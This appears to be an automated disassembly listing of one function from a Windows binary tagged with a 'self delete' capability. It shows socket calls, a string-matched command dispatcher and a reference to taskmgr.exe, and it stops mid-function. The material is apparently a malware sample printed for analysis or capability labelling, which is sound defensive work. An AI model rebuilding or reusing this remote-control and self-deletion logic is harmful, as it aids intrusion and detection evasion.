Function at 0x406c08
Capabilities:
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.0041ec15
add esp, 4
mov dword [ebp - 0xc], eax
mov edi, eax
mov esi, 0x59d619
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 8
call fcn.0041ec15
add esp, 4
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, 0x59d619
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
push 8
call fcn.0041ec15
add esp, 4
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, 0x59d619
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x1c], 0
push 8
call fcn.0041ec15
add esp, 4
mov dword [ebp - 0x20], eax
mov edi, eax
mov esi, 0x59d619
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 8
call fcn.0041ec15
add esp, 4
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, 0x59d619
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 8
call fcn.0041ec15
add esp, 4
mov dword [ebp - 0x28], eax
mov edi, eax
mov esi, 0x59d619
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 8
call fcn.0041ec15
add esp, 4
mov dword [ebp - 0x2c], eax
mov edi, eax
mov esi, 0x59d619
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x30], 0
push 0x80000301
push 0
push dword [ebp + 8]
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x469160
call fcn.0041ec39
add esp, 0x1c
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x406d31
jmp 0x406d31
push 0x80000301
push 0
push dword [ebp + 8]
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x469160
call fcn.0041ec39
add esp, 0x1c
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jne 0x40fb52
push reloc.WS2_32.dll_connect
push 0
lea eax, [ebp - 4]
push eax
push 0x80000301
push 0
push dword [ebp + 8]
push 0x20002
push 0
push dword [0x5e2b40]
push 3
mov eax, 1
mov ebx, 0x469000
call fcn.0041ec39
add esp, 0x28
push reloc.WS2_32.dll_getpeername
push 0
lea eax, [ebp - 8]
push eax
push 0x80000301
push 0
push dword [ebp + 8]
push 0x20002
push 0
push dword [0x5e2b40]
push 3
mov eax, 1
mov ebx, 0x4690a0
call fcn.0041ec39
add esp, 0x28
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x59d62a
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x406e03
mov eax, 0x4fd3e4
push eax
push 3
mov ebx, 0x41f7a0
call fcn.0041ec2d
add esp, 0x28
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0xc]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x406e3b
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x406e37
imul eax, dword [ebx]
jmp 0x406e2c
mov ecx, eax
test ecx, ecx
je 0x406e5a
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x406e53
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x406e41
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push reloc.WS2_32.dll_connect
push 0
push 0x59d62a
push 1
mov ebx, 0x41f930
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x406ea0
mov eax, 0x59d619
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x406eb4
mov eax, 0x59d619
push eax
push 3
mov ebx, 0x41fce0
call fcn.0041ec2d
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x406eda
push ebx
call fcn.0041ec1b
add esp, 4
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x406efc
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x406ef8
imul eax, dword [ebx]
jmp 0x406eed
mov ecx, eax
test ecx, ecx
je 0x406f1b
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x406f14
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x406f02
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x406f45
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d681
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x406f96
push 0
push 0
push 0
push htons
push 0
push 0x418f15
push 2
mov eax, 0xa
mov ebx, 0x485bcb
call fcn.0041ec39
add esp, 0x1c
jmp 0x406f96
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x406fb4
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d68a
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407063
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x406ff5
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x40701b
push eax
mov ebx, eax
call fcn.004010a1
inc eax
push eax
call fcn.0041ec15
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x5e2b5c]
test ebx, ebx
je 0x40702f
push ebx
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [0x5e2b5c], eax
push 0
push 0
push 0
push htons
push 0
push 0x419052
push 2
mov eax, 0xa
mov ebx, 0x485bcb
call fcn.0041ec39
add esp, 0x1c
jmp 0x407063
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407081
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d693
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4070d2
push 0
push 0
push 0
push htons
push 0
push 0x4193b4
push 2
mov eax, 0xa
mov ebx, 0x485bcb
call fcn.0041ec39
add esp, 0x1c
jmp 0x4070d2
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4070f0
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d69c
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40719f
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x407131
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x407157
push eax
mov ebx, eax
call fcn.004010a1
inc eax
push eax
call fcn.0041ec15
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x5e2b60]
test ebx, ebx
je 0x40716b
push ebx
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [0x5e2b60], eax
push 0
push 0
push 0
push htons
push 0
push 0x4194d7
push 2
mov eax, 0xa
mov ebx, 0x485bcb
call fcn.0041ec39
add esp, 0x1c
jmp 0x40719f
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4071bd
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d6a5
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407251
mov eax, 0x4fd3e4
push eax
mov ebx, dword [0x5e2b54]
test ebx, ebx
je 0x4071f9
push ebx
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [0x5e2b54], eax
push 0
push 1
push 0xffffffffffffffff
push 8
push 0x1601004f
push 0x52010001
call fcn.0041ec45
add esp, 0x18
push reloc.WS2_32.dll_connect
push 0
push 0x59d6b2
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x407251
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40726f
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d6da
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4072e4
push 0
push 0
push 0xffffffffffffffff
push 8
push 0x1601004f
push 0x52010001
call fcn.0041ec45
add esp, 0x18
push reloc.WS2_32.dll_connect
push 0
push 0x59d6e7
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x4072e4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407302
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d71a
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407548
push 0x5e2b64
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x407352
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d728
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407384
mov dword [0x5e2b68], 1
jmp 0x40746f
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x4073a2
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d72c
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4073d4
mov dword [0x5e2b68], 2
jmp 0x40746f
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x4073f2
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d731
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407424
mov dword [0x5e2b68], 3
jmp 0x40746f
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x407442
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d736
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40746f
mov dword [0x5e2b68], 4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x40748d
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x4074aa
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
mov dword [0x5e2b6c], eax
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 3
cmp eax, ecx
jl 0x4074e0
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d73b
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407512
mov dword [0x5e2b70], 1
jmp 0x40751c
mov dword [0x5e2b70], 0
push 1
push dword [0x5e2b70]
push 1
push dword [0x5e2b6c]
push 1
push dword [0x5e2b68]
push 0x5e2b64
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
jmp 0x407548
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407566
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d73e
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407798
push 0
mov ebx, 0x4204f0
call fcn.0041ec2d
add esp, 4
cmp dword [0x5e2b4c], eax
je 0x4076a4
push 0
mov ebx, 0x4204f0
call fcn.0041ec2d
add esp, 4
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0
mov ebx, 0x420500
call fcn.0041ec2d
add esp, 4
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x40], eax
push dword [ebp - 0x40]
push 0x59d62a
push dword [ebp - 0x38]
push 0x59d747
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x407635
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x407645
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x407658
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x40768d
push ebx
call fcn.0041ec1b
add esp, 4
push 0
mov ebx, 0x4204f0
call fcn.0041ec2d
add esp, 4
mov dword [0x5e2b4c], eax
push reloc.WS2_32.dll_connect
push 0
push 0x59d758
push 1
mov ebx, 0x41f930
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x5e2b64
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x4076ea
mov eax, 0x59d619
push eax
push 1
mov eax, 5
mov ebx, 0x476a10
call fcn.0041ec39
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x407715
push ebx
call fcn.0041ec1b
add esp, 4
push dword [ebp - 0x3c]
push dword [ebp - 0x34]
mov ecx, 2
call fcn.00406aec
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40773b
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x40774b
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x40]
test eax, eax
jne 0x40775e
mov eax, 0x59d619
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468f60
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x407793
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x407798
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4077b6
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d765
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407827
mov dword [0x5e2b4c], 0
push 0x5e2b64
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
push reloc.WS2_32.dll_connect
push 0
push 0x59d772
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x407827
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407845
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d7a4
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407983
push 0
mov ebx, 0x4204f0
call fcn.0041ec2d
add esp, 4
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0
mov ebx, 0x420500
call fcn.0041ec2d
add esp, 4
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x40], eax
push dword [ebp - 0x40]
push 0x59d62a
push dword [ebp - 0x38]
push 0x59d7af
mov ecx, 4
call fcn.0040110c
add esp, 0x10
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4078f6
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x407906
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x407919
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x40794e
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x59d7bc
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x407983
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4079a1
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d7e6
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407a90
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x4079e2
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x4079ff
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x407a33
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x3c]
mov eax, dword [ebx]
test eax, eax
jne 0x407a50
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], esp
push dword [ebp - 0x40]
push dword [ebp - 0x38]
mov eax, 6
call fcn.0041ec27
cmp dword [ebp - 0x44], esp
je 0x407a8b
push 6
call fcn.0041ec21
add esp, 4
jmp 0x407a90
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407aae
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d7ef
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407ae9
push 1
push 3
push 1
push 1
call fcn.0040fd9b
jmp 0x407ae9
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407b07
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d7fa
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407b42
push 1
push 4
push 1
push 1
call fcn.0040fd9b
jmp 0x407b42
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407b60
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d805
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407b9b
push 1
push 2
push 1
push 1
call fcn.0040fd9b
jmp 0x407b9b
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407bb9
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d80c
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407bf4
push 1
push 3
push 1
push 2
call fcn.0040fd9b
jmp 0x407bf4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407c12
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d817
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407c4d
push 1
push 4
push 1
push 2
call fcn.0040fd9b
jmp 0x407c4d
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407c6b
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d822
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407d15
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x407cac
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x407cc9
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], esp
push 0
push 0
push 0
push dword [ebp - 0x38]
mov eax, 7
call fcn.0041ec27
cmp dword [ebp - 0x3c], esp
je 0x407d10
push 6
call fcn.0041ec21
add esp, 4
jmp 0x407d15
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407d33
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d82b
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407ddd
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x407d74
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x407d91
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], esp
push 0
push 2
push 0
push dword [ebp - 0x38]
mov eax, 7
call fcn.0041ec27
cmp dword [ebp - 0x3c], esp
je 0x407dd8
push 6
call fcn.0041ec21
add esp, 4
jmp 0x407ddd
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407dfb
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d834
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407e58
push 0
push 0
push 0
push 0x80000301
push 0
push 0x10
push 0x80000301
push 0
push 0x11
push 3
mov eax, 2
mov ebx, 0x46af30
call fcn.0041ec39
add esp, 0x28
jmp 0x407e58
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407e76
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d83f
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407f3d
push 0x80000301
push 0
push 0xa
push 1
mov eax, 4
mov ebx, 0x476820
call fcn.0041ec39
add esp, 0x10
mov dword [ebp - 0x34], eax
push str.taskmgr.exe
push dword [ebp - 0x34]
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x407ee7
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, 9
call fcn.004014ca
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x407f04
mov eax, 0x4fd3e4
push eax
push 0x80000301
push 0
push 4
push 5
mov eax, 4
mov ebx, 0x476720
call fcn.0041ec39
add esp, 0x40
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x407f38
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x407f3d
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407f5b
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d856
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x407fb8
push 0
push 0
push 0
push 0x80000301
push 0
push 0x1b
push 0x80000301
push 0
push 0x12
push 3
mov eax, 2
mov ebx, 0x46af30
call fcn.0041ec39
add esp, 0x28
jmp 0x407fb8
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x407fd6
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d863
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x408033
push 0
push 0
push 0
push 0x80000301
push 0
push 9
push 0x80000301
push 0
push 0x12
push 3
mov eax, 2
mov ebx, 0x46af30
call fcn.0041ec39
add esp, 0x28
jmp 0x408033
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x408051
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d870
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40807e
call fcn.004103ec
jmp 0x40807e
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40809c
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d879
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4081b0
push 0xffffffffffffffff
push 8
push 0x160100d4
push 0x52010001
call fcn.0041ec3f
add esp, 0x10
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jge 0x408117
push reloc.WS2_32.dll_connect
push 0
push 0x59d884
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x4081ab
push 0xffffffffffffffff
push 8
push 0x160100d4
push 0x52010001
call fcn.0041ec3f
